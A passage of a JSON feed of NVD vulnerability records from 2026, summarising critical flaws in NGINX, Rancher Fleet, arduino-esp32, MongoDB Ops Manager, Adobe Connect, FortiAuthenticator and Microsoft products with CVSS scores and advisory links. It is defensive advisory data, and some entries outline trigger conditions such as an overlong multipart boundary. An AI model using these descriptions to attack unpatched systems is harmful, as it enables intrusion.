ngx_http_rewrite_module module. This vulnerability exists when the rewrite directive is followed by a rewrite, if, or set directive and an unnamed Perl-Compatible Regular Expression (PCRE) capture (for example, $1, $2) with a replacement string that includes a question mark (?). An unauthenticated attacker along with conditions beyond its control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module. This vulnerability exists when the rewrite directive is followed by a rewrite, if, or set directive and an unnamed Perl-Compatible Regular Expression (PCRE) capture (for example, $1, $2) with a replacement string that includes a question mark (?). An unauthenticated attacker along with conditions beyond its control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:50.190Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"dos","stacks":["Nginx","F5 BIG-IP","dos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42945","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42945","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42945","type":"primary","publishedAt":"2026-05-13T16:16:50.190Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000161019","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41050","cveId":"CVE-2026-41050","aliases":[],"kind":"vulnerability","title":"Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets...","summary":"Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets from any namespace on every downstream cluster targeted by their `GitRepo`.","detail":"Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets from any namespace on every downstream cluster targeted by their `GitRepo`.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T08:16:16.780Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"suse","product":"rancher fleet","stacks":["Suse","rancher fleet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41050","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41050","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41050","type":"primary","publishedAt":"2026-05-13T08:16:16.780Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/advisories/GHSA-765j-qfrp-hm3j","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42854","cveId":"CVE-2026-42854","aliases":[],"kind":"vulnerability","title":"arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers.","summary":"arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer multipart form parser in arduino-esp32 allocates a Variable Length Array (VLA) on the stack whose size is derived from an attacker-controlled HTTP header field (Content-Type: multipart/form-data; boundary=...) without enforcing any length limit. Sending a boundary string longer than ~8000 characters overflows the 8192-byte task stack of the loopTask, causing a crash and potential remote code execution. This vulnerability is fixed in 3.3.8.","detail":"arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer multipart form parser in arduino-esp32 allocates a Variable Length Array (VLA) on the stack whose size is derived from an attacker-controlled HTTP header field (Content-Type: multipart/form-data; boundary=...) without enforcing any length limit. Sending a boundary string longer than ~8000 characters overflows the 8192-byte task stack of the loopTask, causing a crash and potential remote code execution. This vulnerability is fixed in 3.3.8.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:34.930Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"espressif","product":"arduino-esp32","stacks":["Espressif","arduino-esp32"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42854","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42854","type":"primary","publishedAt":"2026-05-12T22:16:34.930Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/espressif/arduino-esp32/security/advisories/GHSA-8cmm-3887-r32j","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8431","cveId":"CVE-2026-8431","aliases":[],"kind":"vulnerability","title":"An administrative user with access to configure webhooks can execute arbitrary commands by configuring and then triggering webhooks containing specific FreeMarker template syntax.","summary":"An administrative user with access to configure webhooks can execute arbitrary commands by configuring and then triggering webhooks containing specific FreeMarker template syntax. \n\n\n\nThis issue affects all MongoDB Ops Manager 7.0 versions and MongoDB Ops Manager versions 8.0.22 and prior.","detail":"An administrative user with access to configure webhooks can execute arbitrary commands by configuring and then triggering webhooks containing specific FreeMarker template syntax. \n\n\n\nThis issue affects all MongoDB Ops Manager 7.0 versions and MongoDB Ops Manager versions 8.0.22 and prior.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T19:16:34.847Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mongodb","product":"ops manager","stacks":["Mongodb","ops manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8431","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8431","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8431","type":"primary","publishedAt":"2026-05-12T19:16:34.847Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mongodb.com/docs/ops-manager/current/release-notes/application/#onprem-server-8.0.23","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34660","cveId":"CVE-2026-34660","aliases":[],"kind":"vulnerability","title":"Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of...","summary":"Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.","detail":"Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T19:16:30.930Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"connect desktop application","stacks":["Adobe","connect desktop application"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34660","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34660","type":"primary","publishedAt":"2026-05-12T19:16:30.930Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/connect/apsb26-50.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34659","cveId":"CVE-2026-34659","aliases":[],"kind":"vulnerability","title":"Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the...","summary":"Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.","detail":"Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T19:16:30.800Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"connect desktop application","stacks":["Adobe","connect desktop application"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34659","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34659","type":"primary","publishedAt":"2026-05-12T19:16:30.800Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/connect/apsb26-50.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44277","cveId":"CVE-2026-44277","aliases":[],"kind":"vulnerability","title":"A improper access control vulnerability in Fortinet FortiAuthenticator 8.0.2, FortiAuthenticator 8.0.0, FortiAuthenticator 6.6.0 through 6.6.8, FortiAuthenticator 6.5.0 through...","summary":"A improper access control vulnerability in Fortinet FortiAuthenticator 8.0.2, FortiAuthenticator 8.0.0, FortiAuthenticator 6.6.0 through 6.6.8, FortiAuthenticator 6.5.0 through 6.5.6 may allow attacker to execute unauthorized code or commands via crafted requests.","detail":"A improper access control vulnerability in Fortinet FortiAuthenticator 8.0.2, FortiAuthenticator 8.0.0, FortiAuthenticator 6.6.0 through 6.6.8, FortiAuthenticator 6.5.0 through 6.5.6 may allow attacker to execute unauthorized code or commands via crafted requests.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:30.040Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"fortinet","product":"fortiauthenticator","stacks":["Fortinet","fortiauthenticator"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44277","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44277","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44277","type":"primary","publishedAt":"2026-05-12T18:17:30.040Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://fortiguard.fortinet.com/psirt/FG-IR-26-128","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42898","cveId":"CVE-2026-42898","aliases":[],"kind":"vulnerability","title":"Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.","summary":"Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.","detail":"Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:26.610Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"dynamics 365","stacks":["Microsoft Office","dynamics 365"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42898","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42898","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42898","type":"primary","publishedAt":"2026-05-12T18:17:26.610Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42833","cveId":"CVE-2026-42833","aliases":[],"kind":"vulnerability","title":"Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.","summary":"Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.","detail":"Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:25.933Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"dynamics 365","stacks":["Microsoft Office","dynamics 365"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42833","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42833","type":"primary","publishedAt":"2026-05-12T18:17:25.933Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42823","cveId":"CVE-2026-42823","aliases":[],"kind":"vulnerability","title":"Improper access control in Azure Logic Apps allows an authorized attacker to elevate privileges over a network.","summary":"Improper access control in Azure Logic Apps allows an authorized attacker to elevate privileges over a network.","detail":"Improper access control in Azure Logic Apps allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:25.170Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"azure logic apps","stacks":["Microsoft Office","Microsoft Azure","azure logic apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42823","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42823","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42823","type":"primary","publishedAt":"2026-05-12T18:17:25.170Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41103","cveId":"CVE-2026-41103","aliases":[],"kind":"vulnerability","title":"Incorrect implementation of authentication algorithm in Microsoft SSO Plugin for Jira &amp; Confluence allows an unauthorized attacker to elevate privileges over a network.","summary":"Incorrect implementation of authentication algorithm in Microsoft SSO Plugin for Jira &amp; Confluence allows an unauthorized attacker to elevate privileges over a network.","detail":"Incorrect implementation of authentication algorithm in Microsoft SSO Plugin for Jira &amp; Confluence allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:21.887Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"confluence saml sso","stacks":["Atlassian","confluence saml sso"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41103","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41103","type":"primary","publishedAt":"2026-05-12T18:17:21.887Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE 